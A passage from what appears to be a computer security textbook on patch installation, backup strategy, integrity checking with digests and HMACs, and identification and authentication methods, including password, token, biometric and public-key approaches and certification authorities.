Installing a Solaris security patch is similarly easy. After downloaded patch 104489-15.tar.Z from http://sunsolve.sun.com, the installpatch script bundled inside the patch archive is used to install the appropriate patch:

```
% ls *.tar.Z
104489-15.tar.Z
% uncompress *.Z
% tar xf 104489-15.tar
% cd 104489-15
% ls
.diPatch*                              SUNWtltk/     backoutpatch*   postbackout*
Install.info*                                SUNWtltkd/     installpatch*   postpatch*
README.104489-15 SUNWtltkm/     patchinfo*
% su
Password: password
# ./installpatch .
Checking installed patches...
Generating list of files to be patched...
Verifying sufficient filesystem capacity (exhaustive method)...
Installing patch packages...

Patch number 104489-15 has been successfully installed.
See /var/sadm/patch/104489-15/log for details
Executing postpatch script...

Patch packages installed:
 SUNWtltk
 SUNWtltkd
 SUNWtltkm

# showrev -p | egrep 104489
Patch: 104489-01 Obsoletes:  Packages: SUNWtltk, SUNWtltkd
Patch: 104489-14 Obsoletes:  Packages: SUNWtltk, SUNWtltkd, SUNWtltkm
Patch: 104489-15 Obsoletes:  Packages: SUNWtltk, SUNWtltkd, SUNWtltkm
```

If you're using source-based management, upgrading involves either a CVS checkout of the updated source code or applying a patch file to the old source code to update it. In either case, the source code must then be recompiled and reinstalled. Here is an example of applying a patch to an application:

```
% ls -ld *
-rw-rw----  1 dunemush dunemush  188423 Jul 20 12:07 1.7.5-patch09
drwx------  10 dunemush dunemush   4096 Jul 4 16:15 pennmush/
% cd pennmush
% patch -p1 -s < ../1.7.5-patch09
% make
....source code compile messages...
% make install
...installation messages...
%
```

If you're upgrading a server program, of course, you will need to stop the running server process and restart it to run the newly installed version — simply changing the server program on disk is not sufficient!

Upgrading applications on Microsoft Windows systems is typically more eccentric. If the application is one of the core Microsoft applications, like Internet Explorer or Media Player, Windows Update will handle patches. But each third-party application must provide its own approach to upgrades. Some may require you to remove the older version and install the new one, others may suggest you simply install the new version over the older, and others may have their own built-in update functionality (antivirus engines are particularly notable in this regard). You'll have to examine each application individually.

Backing Out and Backing Up

Not every upgrade is a panacea. Sometime upgrades cause more problems than they solve, either because they break important functionality, or they don't provide the desired fix. It's important to be able to revert to the pre-upgrade software if the upgrade should prove troublesome.

There are two basic strategies for recovering from a bad upgrade. First, it may be possible to "back out" the patch and reinstall the earlier version. Under source-based management systems, the *patch* program can also be used to remove a previously applied patch, or the earlier version can be checked out from a CVS repository. It can be more difficult to cleanly back out a package. Although most package management software provides a way to overwrite an installed package with an earlier version, if the package dependencies have also been updated, older version of the dependencies may also have to be located and installed. Many, but not all, Microsoft patches are capable of uninstalling themselves or provide uninstall instructions.

A second strategy for source-based systems is to locally back up older versions of software. By keeping older versions of source code, it's generally not difficult to reinstall the earlier version. Multiple versions can be kept in separate directories in */usr/src,* or a version control system such as RCS or CVS can be used locally to track multiple versions of software in the same directory.

Perhaps the most reliable method is to perform a full backup of your system prior to the changes. Then, if the upgrade goes badly, you can restore your system to the prior state.

Integrity Monitoring

Insuring that system software is up to date when new patches are released is an important part of maintaining integrity. Equally important is insuring that system software – and your valuable data – doesn't change when you don't expect it to. Ideally, no unauthorized user or process would be able to tamper with your information; good server information practices reduce the likelihood of someone gaining privileges they shouldn't have. In practice, however, it's necessary to monitor your data on an ongoing basis so that you can discover tampering if it should occur, and to archive your data so you can restore it to a correct state.

Tampering

There are several ways to safeguard against tampering. In addition to using care in the organization of user and file permissions, critical files that change infrequently can be kept on read-only media. Files can also be encrypted so that additional passwords are required to covertly modify the information they contain (though it may be possible to corrupt or delete the files themselves).

There are also many approaches to detecting tampering. For smaller systems or when there are a limited number of key files to protect, making backups of the files on write-once media can be an effective strategy. Files can be regularly compared to their archived counterparts, and if a file is corrupted, the backup can be used to restore it. Of course, when an authorized change is made to a file, the backup must also be updated.

Cryptographic digests of important files can be computed and stored off-line or protected by encryption. As noted earlier, an important property of cryptographic digests is that it is infeasible to generate a new file that will match a given digest. Some antivirus systems can perform a similar function, often called "inoculation", in which checksums are inserted into executable files themselves. Chapter 5 discusses the use of comparison files and cryptographic digests for ongoing auditing of system data in greater detail.

Backups

Bugs, accidents, natural disasters, and attacks on your system cannot be predicted. Often, despite your best efforts, they can't be prevented. But if you have backups, you can compare your current system and your backed-up system, and you can restore your system to a stable state. Even if you lose your entire computer—to fire, for instance—with a good set of backups you can restore the information after you have purchased or borrowed a replacement machine. Insurance can cover the cost of a new CPU and disk drive, but your data is something that in many cases can never be replaced.

Years ago, making daily backups was a common practice because computer hardware would often fail for no obvious reason. A backup was the only protection against data loss. Today, hardware failure is still a good reason to back up your system. Hard disk failures are a random process: even though a typical hard disk will now last for five years or more, an organization that has 20 or 30 hard disks can expect a significant drive failure every few months. Drives frequently fail without warning—sometimes only a few days after they have been put into service. It's prudent, therefore, to back up your system on a regular basis.

Backups can also be an important tool for securing computers against attacks. Specifically, a full backup allows you to see what an intruder has changed, by comparing the files on the computer with the files on the backup. Make your first backup of your computer after you install its operating system, load your applications, and install all of the necessary security patches. Not only will this first backup allow you to analyze your system after an attack to see what has been modified, but it will also save the time of rebuilding your system from scratch in the event of a hardware failure.

How to back up

There are many different forms of backups in use today. Here are just a few:

- Copy your critical files to a high-density removable magnetic or optical disk.
- Periodically copy your disk to a spare or "mirror" disk.
- Instantaneously mirror two disks using either software or hardware RAID systems.
- Make periodic zip, "sit" or "tar" archives of your important files. You can keep these backups on your primary system or you can copy them to another computer, possibly at a different location.
- Make backups onto magnetic or optical tape.
- Back up your files over a network or over the Internet to another computer that you own, or to an Internet backup service. Some of these services can be exceedingly sophisticated. For example, the services can examine the MD5 checksums of your files and only back up files that are "unique." Thus, if you have a thousand computers, each with a copy of Microsoft Office, none of those application files need to be copied over the network to add them to the backup.

What to back up

There are two approaches to computer backup systems:

1. Back up everything that is unique to your system—user accounts, data files, and important system directories that have been customized for your computer. This approach saves tape or disk and decreases the amount of time that a backup takes; in the event of a system failure, you recover by reinstalling your computer's operating system, reloading all of the applications, and then restoring your backup tapes.
2. Back up everything, because restoring a complete system is easier than restoring an incomplete one, and tape is cheap.

The second approach should generally be preferred. While some of the information you back up is already "backed up" on the original distribution disks or tapes you used to load the system onto your hard disk, distribution disks or tapes sometimes get lost. Furthermore, as your system ages, programs get installed in the operating system's reserved directories as security holes get discovered and patched, and as other changes occur. If you've ever tried to restore your system after a disaster, you know how much easier the process is when everything is in the same place.

For this reason, it is recommended that you store *everything* from your system (and that means everything necessary to reinstall the system from scratch—every last file) onto backup media at regular, predefined intervals. How often you do this depends on the speed of your backup equipment and the amount of storage space allocated for backups, as well as the needs of your organization. You might want to do a total backup once a week, or you might want to do it only twice a year.

Types of Backups

There are three basic types of backups:

Level-zero backup
Makes a copy of your original system. When your system is first installed, before people have started to use it, back up every file and program on the system. Such a backup can be invaluable after a break-in.

Full backup
Makes a copy to the backup device of every file on your computer. This method is similar to a day-zero backup, except that you do it on a regular basis.

Incremental backup
Makes a copy to the backup device of only those items in a filesystem that have been modified after a particular event (such as the application of a vendor patch) or date (such as the date of the last full backup).Full backups and incremental backups work together. A common backup strategy is:

- Make a full backup on the first day of every other week.
- Make an incremental backup every evening of everything that has been modified since the last full backup. This kind of incremental backup is sometimes called a differential backup, as it archives those files that differ since the last full backup.

Most administrators of large systems plan and store their backups by disk drive or partition. Different partitions usually require different backup strategies. Some partitions, such as your system partitions (if they are separate), should probably be backed up whenever you make a change to them, on the theory that every change that you make to them is too important to lose. You should use full backups with these systems, rather than incremental backups, because they are only usable in their entirety. Likewise, partitions that are used solely for storing

application programs really only need to be backed up when new programs are installed or when the configuration of existing programs is changed.

On the other hand, partitions that are used for keeping user files are more amenable to incremental backups. But you may wish to make such backups frequently, to minimize the amount of work that would be lost in the event of a failure.

When you make incremental backups, use a rotating set of backup disks or tapes. The backup you do tonight shouldn't write over the tape you used for your backup last night. Otherwise, if your computer crashes in the middle of tonight's backup, you would lose the data on the disk, the data in tonight's backup (because it is incomplete), and the data in last night's backup (because you partially overwrote it with tonight's backup). Ideally, perform an incremental backup once a night, and have a different tape for every night of the week.

How Long Should You Keep a Backup?

It may take a week or a month to realize that a file has been deleted. Therefore, you should keep some backup tapes for a week, some for a month, and some for several months. Many organizations make yearly or quarterly backups that they archive indefinitely. Some organizations decide to keep their yearly or biannual backups "forever" — it's a small investment in the event that it should ever be needed again. In some countries, there may be legal requirements that backups of specific kinds of data (such as accounting records) be kept for a minimum period. On the other hand, it may be important to have a "data destruction" policy that specifies the maximum time backups may be kept.

You may wish to keep on your system an index or listing of the names of the files on your backup tapes. This way, if you ever need to restore a file, you can find the right tape to use by scanning the index, rather than by reading in every single tape. Having a printed copy of these indices is also a good idea, especially if you keep the online index on a system that may need to be restored!

If you keep backups for a long period of time, be sure to migrate the data on your backups each time you purchase a new backup system. Otherwise, you might find yourself stuck with tapes that can't be read by anyone, anywhere. This has happened to major research universities and even the U.S. National Aeronautics and Space Administration.

Other Backup Tips

There are several other good ways to increase the reliability of your backups:

Use redundant backup sets
You can use two distinct sets of backup tapes to create a *tandem backup*. With this backup strategy, you create two complete backups (call them A and B) on successive backup occasions. Then, when you perform your first incremental backup, the "A incremental," you back up all of the files that were created or modified after the last A backup, even if they are on the B backup. The second time you perform an incremental backup, the "B incremental," you write out all of the files that were created or modified since the last B backup (even if they are on the A incremental backup.) This system protects you against media failure, because every file is backed up in two locations. It does, however, double the amount of time that you will spend performing backups.

Replace tapes as needed
Tapes are physical media, and each time you run them through your disk drive they degrade somewhat. Based on your experience with your tape drive and media, you should set a lifetime for each tape. Some vendors establish limits for their tapes (for example, 3 years or 2000 cycles), but others do not. Be certain to see what the vendor

recommends—and don't push that limit. The few pennies you may save by using a tape beyond its useful range will not offset the cost of a major loss.

Keep your tape drives clean
If you make your backups to tape, follow the preventative maintenance schedule of your tape drive vendor, and use an appropriate cleaning cartridge or other process as recommended. Being unable to read a tape because a drive is dirty is inconvenient; discovering that the data you've written to tape is corrupt and no one can read it is a disaster.

Verify the backup
On a regular basis you should attempt to restore a few files chosen at random from your backups, to make sure that your equipment and software are functioning properly. Stories abound about computer centers that have lost disk drives and gone to their backup tapes, only to find them all unreadable. This scenario can occur as a result of bad tapes, improper backup procedures, faulty software, operator error, or other problems.

At least once a year, you should attempt to restore your entire system completely from backups to ensure that your entire backup system is working properly. Starting with a different, unconfigured computer, see if you can restore all of your tapes and get the new computer operational. Sometimes you will discover that some critical file is missing from your backup tapes. These practice trials are the best times to discover a problem and fix it.

A related exercise that can prove valuable is to pick a file at random, once a week or once a month, and try to restore it. Not only will this reveal if the backups are comprehensive, but the exercise of doing the restoration may also provide some insight.

An in-depth discussion of backup and restore systems can fill a book —W. Curtis Preston's book, *Unix Backup & Recovery*, published by O'Reilly and Associates, is an excellent one.

Transmission Integrity

Cryptography also provides the solution to the problem of insuring that when you transmit data to someone else over a network the recipient receives the data as you sent it, protected from accidental corruption or intentional tampering. A typical strategy involves digitally signing the file, by computing a cryptographic digest and encrypting the digest with a symmetric or asymmetric algorithm, and then sending it along with the file (which may itself be encrypted for confidentiality) along with the file. The recipient recomputes the digest from the file and then decrypts the transmitted digest. If they match, the message's integrity is ensured.

A Hash Message Authentication Code (HMAC) function is another technique for verifying the integrity of a message transmitted between two parties that agree on a shared secret key. Essentially, HMAC combines the original message and a key to compute a message digest function of the two. Sometimes additional information, such as protocol sequence numbers, are included as well, to thwart replay attacks. The sender of the message computes the HMAC of the message, the key, and any additional information and transmits the HMAC with the original message. The recipient recalculates the HMAC using the message and the recipient's copy of the secret key (along with any additional information, such as the expected sequence number), then compares the received HMAC with the calculated HMAC to see if they match. If the two HMACs match, then the recipient knows that the original message has not been modified, because the message digest hasn't changed, and that it is authentic, because the sender knew the shared key, which is presumed to be secret.

HMACs are often used to harden network protocol messages against tampering, because they are much faster to calculate than digital signatures. They are also typically smaller in size. However, HMACs are based on a shared key that must be protected from compromise, while digital signatures are usually performed with public key systems. Several general cryptographic protocols have been developed to secure network connections. These protocols are typically built from a combination of cryptographic algorithms to support key exchange, authentication, encryption, and message authentication codes, along with specifications for how a client and a server will agree on algorithms and exchange credentials and session keys. For example, the SSL/TLS protocol supports these combinations of algorithms:

```
EDH-RSA-DES-CBC3-SHA  SSLv3 Kx=DH     Au=RSA Enc=3DES(168) Mac=SHA1
EDH-DSS-DES-CBC3-SHA  SSLv3 Kx=DH     Au=DSS Enc=3DES(168) Mac=SHA1
DES-CBC3-SHA      SSLv3 Kx=RSA    Au=RSA Enc=3DES(168) Mac=SHA1
DHE-DSS-RC4-SHA     SSLv3 Kx=DH     Au=DSS Enc=RC4(128) Mac=SHA1
RC4-SHA         SSLv3 Kx=RSA    Au=RSA Enc=RC4(128) Mac=SHA1
RC4-MD5         SSLv3 Kx=RSA    Au=RSA Enc=RC4(128) Mac=MD5
EXP1024-DHE-DSS-RC4-SHA SSLv3 Kx=DH(1024) Au=DSS Enc=RC4(56)  Mac=SHA1 export
EXP1024-RC4-SHA     SSLv3 Kx=RSA(1024) Au=RSA Enc=RC4(56)  Mac=SHA1 export
EXP1024-DHE-DSS-DES-CBC-SHA SSLv3 Kx=DH(1024) Au=DSS Enc=DES(56)  Mac=SHA1 export
EXP1024-DES-CBC-SHA   SSLv3 Kx=RSA(1024) Au=RSA Enc=DES(56)  Mac=SHA1 export
EXP1024-RC2-CBC-MD5   SSLv3 Kx=RSA(1024) Au=RSA Enc=RC2(56)  Mac=MD5 export
EXP1024-RC4-MD5     SSLv3 Kx=RSA(1024) Au=RSA Enc=RC4(56)  Mac=MD5 export
EDH-RSA-DES-CBC-SHA   SSLv3 Kx=DH     Au=RSA Enc=DES(56)  Mac=SHA1
EDH-DSS-DES-CBC-SHA   SSLv3 Kx=DH     Au=DSS Enc=DES(56)  Mac=SHA1
DES-CBC-SHA       SSLv3 Kx=RSA    Au=RSA Enc=DES(56)  Mac=SHA1
EXP-EDH-RSA-DES-CBC-SHA SSLv3 Kx=DH(512) Au=RSA Enc=DES(40)  Mac=SHA1 export
EXP-EDH-DSS-DES-CBC-SHA SSLv3 Kx=DH(512) Au=DSS Enc=DES(40)  Mac=SHA1 export
EXP-DES-CBC-SHA     SSLv3 Kx=RSA(512) Au=RSA Enc=DES(40)  Mac=SHA1 export
EXP-RC2-CBC-MD5     SSLv3 Kx=RSA(512) Au=RSA Enc=RC2(40)  Mac=MD5 export
EXP-RC4-MD5       SSLv3 Kx=RSA(512) Au=RSA Enc=RC4(40)  Mac=MD5 export
```

Each algorithm-combination specifies an algorithm to use for key exchange (Kx, which may be Diffie-Hellman or RSA), authentication (Au, which may be RSA or DSS), encryption (Enc, which may be DES, Triple-DES, RC4, or RC2, with the key length shown), and message access codes (Mac, which may be SHA1 or MD5).

CHAPTER 5.
IDENTIFICATION AND AUTHENTICATION

At a Glance

Identification actually comprises three concepts. Strictly speaking, *identification* is the associating of an identity with a subject. *Authentication* is establishing the validity of an identity. *Authorization* is associating rights or privileges with a subject. This chapter is concerned primarily with the first two concepts. Identification and authentication may be performed solely by the workstation that a subject is using, or may involve a network-based authentication system in which user identities are stored by a central server and shared by groups of client workstations.

Identification Techniques

Computers use a variety of user identification systems. The simplest are based on usernames and passwords; others are based on special-purpose hardware that can measure unique distinguishing characteristics of different human beings. Finally, there are systems that are based on public-key cryptography.

No identification techniques are foolproof. Fortunately, most of them don't have to be. The goal of most identification systems isn't to eliminate the possibility of impersonation, but to reduce to acceptable levels the risk of impersonation and the resulting losses. Another important goal of identification systems is to quantify the amount of risk that remains once the system has been deployed: quantifying the amount of residual risk allows an organization to make decisions about policies, the need or desirability of alternative identification systems, and even the amount of insurance coverage necessary to protect against the remaining amount of fraud.

Physical Identification

Fly to an international airport, flash two pieces of plastic, and you can drive away with a brand new car worth more than $20,000. The only assurance the car rental agency has that you will return its automobile is your word—and the knowledge that if you break your word, they can destroy your credit rating and possibly have you thrown in jail.

Your word wouldn't mean much to the rental agency if they didn't know who you were. It's your driver's license or passport and credit card, combined with a worldwide computer network, that allows the rental agency to determine in seconds if your credit card has been reported stolen, and that gives the firm and its insurance company the willingness to trust you.

The key features of physical identification are based on the design of identification documents. A passport is a good identification document because it contains information that can be verified physically (sex, height, weight, age, photograph, signature), is difficult to forge, is resistant to tampering and easily shows tampering attempts, and is issued by a reliable and reputable authority that takes care to verify the subject's identity before issuing the document. On the other hand, a paper club membership card has none of these features.

Computer-Based Identification Techniques

For more than fifty years, usernames and passwords have been a part of large-scale computer systems. Even personal computers, which lacked passwords for the first two decades of their existence, now come equipped with software that can control access using usernames and passwords. There is a key difference that separates username/password systems from the document-based systems discussed earlier in this chapter. Whereas most

identification documents are printed with the true name of the individual being identified, username/password-based systems are only interested in establishing that the person who is sitting at the keyboard is the authorized user of a particular account. Traditional document-based systems concern themselves with *absolute identification*, whereas username/password systems are concerned with *relative identification* or the *continuity of identification*. Absolute identification is an extraordinarily difficult task for the typical computer system to perform. Instead, a plethora of relative identification systems have been fielded. Computer security professionals usually describe these systems as relying on "something that you know," "something that you have," or "something that you are." The following sections describe these three traditional approaches, as well as a newer one: "someplace where you are."

Password-based systems: something that you know

The earliest digital identification systems were based on passwords. Every user of the system is assigned a username and a password; to "prove" your identity to the computer, you simply type your password. If the password that you type matches the password that is stored on the computer, then the assumption is that you must be who you claim to be.

Because they are simple to use and require no special hardware, passwords continue to be the most popular authentication system used in the world today. As a result of this popularity, most of us now have dozens of passwords that we need to remember on an almost daily basis, including PINs (personal identification numbers) or passwords for accessing ATM cards, long-distance calling cards, voice-mail systems, and answering machines, unlocking cell phones, unlocking desktop computers, accessing dialup Internet service providers, downloading electronic mail, and accessing web sites. There are several problems with passwords, some insurmountable:

- Passwords must be distributed to users. Some systems use default passwords or allow the first user to set a password, but defaults are often left unchanged and the first user may not be the authorized user.
- Passwords can be intercepted when sent to a remote computer. Encryption can lessen this risk, but there is no way to encrypt the PIN a person types at an ATM so that it can't be deciphered by someone looking over his or her shoulder.
- Good passwords are easy to forget, which leads people to write them down, use the same password for many uses, set up simpler second-stage password reminders, or choose bad passwords that are easy to guess.
- Passwords can be shared, which may allow unauthorized people to use resources they shouldn't.

Physical tokens: something that you have

Another way that people can authenticate their identities is through the use of tokens— physical objects whose possession somehow proves identity.

Door keys have been used for centuries as physical access tokens; in many modern buildings, metal keys are supplemented with either magnetic or radio-frequency-based access card systems. Access card systems are superior to metal-key-based systems because every card can have a unique number that is tied to an identity. The system, in turn, has a list of the cards authorized to open various doors. Time-based restrictions can be added as well, so that a low-level clerk's card can't be used to gain access to an office after-hours.

Token-based systems tend to be self-policing: users quickly report cards that are lost or stolen because they need their cards to gain access; when a card is reported missing, that card can be deactivated and a new card issued to the holder. This is an improvement over a keypad-based system, where individuals can share their PIN codes without losing their own access.

As with passwords, tokens have problems as well:

- The token doesn't really "prove" who you are. Anybody who has physical possession of the token can gain access to the restricted area.
- If a person loses a token, that person cannot enter the restricted area, even though that person's identity hasn't changed.
- Some tokens are easily copied or forged.

Token-based systems don't really authorize or identify individuals: they authorize the tokens. This is especially a problem when a token is stolen. For this reason, in high-security applications token systems are frequently combined with some other means of identification: this is often referred to as *two-factor authentication*. For instance, to gain access to a room or a computer, you might need to both present a token and type an authorization code. This is the technique used by automatic teller machines (ATMs) to identify bank account holders.

Biometrics: something that you are

A third technique becoming more commonly used by computers to determine a person's identity is to make a physical measurement of the person and compare the measurement with a profile that has been previously recorded. This technique is called a *biometric*, because it is based on measuring something about a living person. Many kinds of biometrics are possible, including images of a person's face, retina, or iris, fingerprints, footprints, or hand geometry, voice prints, handwriting, or typing characteristics, and DNA patterns.

Biometric techniques can be used for both ongoing identification and absolute identification. Using these techniques for ongoing identification is the simplest approach: the first time the user accesses the system, his biometric information is recorded. On subsequent accesses, the new biometric is compared with the stored record. To use biometrics for absolute identification, it is necessary to construct a large data-base matching names with biometrics. In the United States, the Federal Bureau of Investigation has such a database matching fingerprints to names, and another that matches DNA material.

Compared with passwords and access tokens, biometrics have two clear advantages. They can't be lost or forgotten, and they can't be readily shared, copied, or stolen. But biometric technology has been difficult to bring from the laboratory to the market. All biometric systems exhibit a certain level of *false positives*, in which the system erroneously declares a match when it shouldn't, and *false negatives*, in which the system erroneously declares that two biometrics are from different people, when in fact they are from the same person. To reduce the possibility of false matches, some biometric systems combine the biometric with a password or token. In the case of passwords, a user is typically asked to type a secret identification code, such as a PIN, and then give a biometric sample, such as a voice print. The system uses that PIN to retrieve a specific stored profile, which is then compared with the sample from the profile. In this manner, the system only needs to compare the provided biometric with a single stored measurement, rather than with the entire database.

Biometrics are not perfect:

- A person's biometric "print" must be on file in the computer's database before that person can be identified.
- If the database of biometric records is compromised, then the biometric identification is worthless.
- Unless the measuring equipment is specially protected, the equipment is vulnerable to sabotage and fraud. For example, a clever thief could defeat a voice-recognition system by recording a person speaking his passphrase and then playing it back.

Location: someplace where you are

With the development of computer systems that can readily determine the location of their users, it is now possible to deploy position-based authentication systems. Although the Global Positioning System (GPS) can be readily used for obtaining location information, there are two serious hindrances for GPS in this application: the fact that GPS doesn't usually work indoors, and the fact that there is no way to securely get the positional information from the GPS receiver to the remote service that needs to do the verification. A better choice for position-based authentication is the positional services offered by some mobile telephone networks. With these systems, the network can determine the user's location and then directly report this information to the service, without risking that the information may be compromised while the user is authenticated.

A simple form of location-based authentication is to have a particular terminal or computer that is authorized to perform a special function. People who are in other locations are prohibited from exercising privilege. To date, location has not been used as a general system for authentication.

Using Public Keys for Identification

The identification and authentication techniques mentioned earlier all share a common flaw: to reliably identify an individual, that person must be in the presence of the person or computer that is performing the identification. If the person is not present—if the identification is being performed by telephone, by fax, or over the Internet—then there is high potential for fraud or abuse because of *replay attacks*.

Imagine a situation in which one computer acquires a user's fingerprint and another performs the verification. In this case, it is possible for an attacker to intercept the code for the digitized fingerprint as it moves over the network. Once the attacker has the fingerprint transmission, the attacker can use it to impersonate the victim. Replay attacks are a fundamental attack against the digital identification systems mentioned so far.

Properly implemented, public key cryptography can eliminate the risk of replay attacks. When public key systems are used for identification, the private key is used to create a signature and the public key is used to verify that signature. As the private key never leaves the possession of the person being identified—it never gets sent over the wire—there is no opportunity for an attacker to intercept the private key and use it for malicious purposes.

Public key cryptography can be used for either offline authentication or online authentication. In the case of offline authentication, a user creates a digitally-signed message that can be verified at a point in the future. In the case of online authentication, a user authenticates in real time with a remote server. The remote server sends the user's computer randomly-generated challenge data, and the user's computer digitally signs the challenge with the user's private key and returns it. Or, in another variation, the remote server encrypts a challenge with the user's public key and sends the encrypted challenge to the user, who proves her identity by decrypting the challenge and returning it encrypted with the server's public key. Because of the challenge-response protocol, online systems are generally more secure than offline systems.

Managing Private Keys

When a digital signature is used to "prove someone's identity," identity proving is not precisely what is taking place. Being able to create a valid digital signature doesn't prove you are a particular person: it proves you have possession of a particular private key. That's why it's possible to find keys on public key servers purporting to be for Hillary Clinton and Batman.

For *digital signature validation* to become *identity authentication*, several preconditions need to be met:

1. Each private key/public key pair must be used by only one person.
2. The private key must be kept secure, lest it be compromised, captured, and used fraudulently by others.
3. There needs to be some sort of trust mechanism in place, so that the person verifying the identity can trust or believe that the name on the key is in fact the correct name.

If keys are carelessly generated, then it may be possible for an attacker to take a public key and determine the corresponding private key. If keys are not stored properly, then the attacker may simply be able to steal the private key.

While these rules look simple on the surface, in practice they can be exceedingly difficult to implement properly. Even worse, frequently it is difficult to evaluate a company's public key system and decide if it is more secure or less secure than a competing system.

There are a number of different alternatives for creating and storing keys. Roughly in order of decreasing security, they are:

1. Employ a crypto-graphic coprocessor such as a smart card. A typical public key-compatible smart card has a small microprocessor with a hardware random number generator for creating keys and performing the basic public key algorithms; it also has a region of memory that can hold the keys and public key "certificates". In theory, the private key never actually leaves the card. Instead, if you want to sign or decrypt a piece of information, that piece of information has to be transmitted into the card, and the signed or decrypted answer transmitted off the card. Thus, attackers cannot use the private key unless they have possession of the smart card. Smart cards can be augmented with PINs, passphrases, fingerprint readers, or other biometric devices, so that the card will not create a signature unless the holder is authenticated to the card.
   Smart cards aren't without their drawbacks, however. Some types are quite fragile. If the card is lost, stolen, or damaged, the keys it contains are gone and no longer available to the user. Thus, if the keys on the card are to be used for long-term encryption of information, it may be desirable to have some form of card duplication system or key escrow to prevent key loss. Such measures are not needed, however, if the keys are only used for digital signatures. If a signing key is lost, it is only necessary to create a new signing key: no information is lost.
   Smart cards are not completely tamper-proof. Cryptographic smart cards implement tiny operating systems: flaws in these operating systems can result in the compromise of key material. It is also possible to physically analyze a card and force it to divulge its key. Nevertheless, smart cards are currently the most secure way to store private keys.
2. Generate them on a desktop computer and then store the encrypted keys on a floppy disk or flash disk. When the key is needed, the user inserts the floppy disk into the computer's drive; the computer reads the encrypted private key into memory, decrypts the key, and finally uses the key to sign the requested information. This technique is less secure than the smart card because it requires that the private key be transferred into the computer's memory, where it could be attacked and compromised by a computer virus, Trojan horse, or other rogue program.
3. Generate the key inside the computer, then encrypt the key using a passphrase and store the key in a file on the computer's hard disk. This is the technique that programs such as PGP and Netscape Navigator use to protect private keys. This technique is convenient. The disadvantage is that if somebody gains access to your computer and knows your pass-phrase, he or she can access your private key. And because the key must be decrypted by the computer to be used, it is vulnerable to attack inside the computer's memory by a rogue program or a Trojan horse.
4. The least secure way to generate a public key/private key pair is to let somebody else do it for you, and then to download the private and public keys. The fundamental problem with this approach is that the private key is by definition compromised: somebody else has a copy of it. Nevertheless, some organizations (and some governments) require that people use third-party key generation for this very reason: so that the organization will have a copy of each user's key, allowing the organization to decrypt all email sent to the individual.

In practice, most cryptographic systems use the third option—generating a key on a desktop computer and then storing the key on the computer's hard disk.

Digital Certificates

The use of digital certificates and a public key infrastructure (PKI) are attempts to tie absolute identity to digital signatures. A digital certificate is a special kind of digital signature—it is a digital signature that comes with an identity, which is designed to be interpreted by computers in an automated way. A public key infrastructure is a collection of technologies and policies for creating and using digital certificates. The effectiveness of these systems comes from a marriage of public key cryptography, carefully written and maintained policies, and the legal system.

The problem of digital identification with public keys has profoundly deep philosophical implications. How can you ever know if a public key really belongs to the individual or an organization whose name is on the key? How can we ever really know anything? As it turns out, we can know quite a bit about the identity of key holders and the authenticity of digital certificates, as long as certain rules and procedures are followed in the creation and protection of these instruments.

There are three basic approaches to insuring that a public key really belongs to the individual it claims to:

1. Get the public key directly from the individual and confirm the key's integrity in a manner that cannot be falsified.
2. Determine that another individual that you trust vouches for the key.
3. Determine that a reliable central authority has certified the key.

Confirming a Key's Integrity Personally

One way to be sure that you've got Jane Trocard's public key is to meet with Jane and have her read out her copy of the key and compare it, number-for-number, with yours. If you know Jane well enough, and if you trust the telephone system, you might do this comparison over the telephone instead – but not over the Internet, where someone could intercept the comparison and replace the numbers with those of a bogus key.

Because public keys are based on very long numbers, number-by-number comparison is inconvenient. Instead, you and Jane might independently compute a shorter cryptographic message digest and compare the characters in that digest. Such digests are often call "key fingerprints". Some avid public key cryptography users print their key fingerprints on their business cards; if you've received a business card directly from Jane, you can later download her public key and verify its integrity.

Certifying Other People's Keys

Once you know that Jane's key is valid – that it's really her key – you might be willing to accept other public keys if Jane will vouch for them. Jane can vouch for other people's keys by signing them with her own key. When you receive a key signed by Jane's key, you know that Jane herself has signed it, because you know that Jane's key is valid and you assume only Jane has access to it.

The decision to accept keys that Jane vouches for is not based on the validity of Jane's key, but on the level of trust you have for Jane herself to be careful about whose keys she vouches for. In most public key systems, these two concepts – the validity of a key and the trust you assign its owner – are independent. In some systems, you can require that two or more trusted parties each vouch for a key before you are willing to accept it as valid.

PGP users often hold "signing parties" at which they meet, in person, to verify one another's keys and then sign them. At the end of such a party, a participant's public key may have a dozen or more signatures that someone else can later use to decide if the key is valid. PGP users distribute their keys worldwide on PGP key servers; when you download a key from a key server, you can use the signatures to decide whether you believe that this key really identifies the user it claims to.

Certification Authorities: Third-Party Registrars

While key signing parties are a great way to meet people, experience has shown that they are not a practical way to create a national database of cross-certified public keys—the coverage is simply too uneven. Some people don't have the time to go to key signing parties. Moreover, having somebody's signature on your key reveals that you know each other, or at least that you met each other. That's why most large-scale uses of public key cryptography rely on a tree of certifications, with a *certification authority* at the root.

A *certification authority* (CA) is any individual or organization that issues digital certificates.

A CA can impose standards before it signs a key; for example, a university might verify that the key that it was about to sign really belonged to a bona fide student. Another CA might not have any standards at all. The world's largest CA, VeriSign, issues several different kinds of certificates. VeriSign signs certificates under its VeriSign Trust Network (VTN) for public use; the company also issues certificates for use within corporations. The lowest level of certificates issued by VTN have no assurance; the highest levels come with the promise that VTN attempted to establish the identity of the key holder before the certificate was issued.

Conceptually, a certificate signed by a CA looks like a cryptographically signed index card. The certificate contains the identity information of the user, signed by the certification authority's own private key, and also lists the name of the CA, that CA's public key, and a serial number.

To date, most certificates are a promise by the CA that a particular public key belongs to a particular individual or organization. But certificates can also be used for assertions, as in the university example. There are many different ways that a certification authority can offer service:

Internal CA
An organization can operate a CA to certify its own employees. Certificates issued by an internal CA might certify an individual's name, position, and level of authority. These certificates could be used within the organization to control access to internal resources or the flow of information. Such an internal CA would be the basis of the organization's public key infrastructure.

Companies can also operate internal CAs that issue certificates to customers. For example, some brokerages have required that their customers obtain certificates before they are allowed to execute high value trades over the Internet.

Outsourced CA
An organization might want to partake in the benefits of using digital certificates, but not have the technical ability to run its own certification authority. Such an organization could contract with an outside firm to provide certification services for its own employees or customers, exactly as a company might contract with a photo lab to create identification cards.

Trusted third-party CA
A company or a government can operate a CA that binds public keys with the legal names of individuals and businesses. Such a CA can be used to allow individuals with no prior relationship to establish each other's identity

and engage in legal transactions. Certificates issued by such a CA would be analogous to drivers' licenses and identity cards issued by a state.

Before you can use the certificates issued by a CA, you need to have a copy of the CA's public key. Public keys are distributed on certificates of their own. Currently, most of these certificates are prebundled in web browsers and operating systems. CA public keys can also be added manually by the end user.

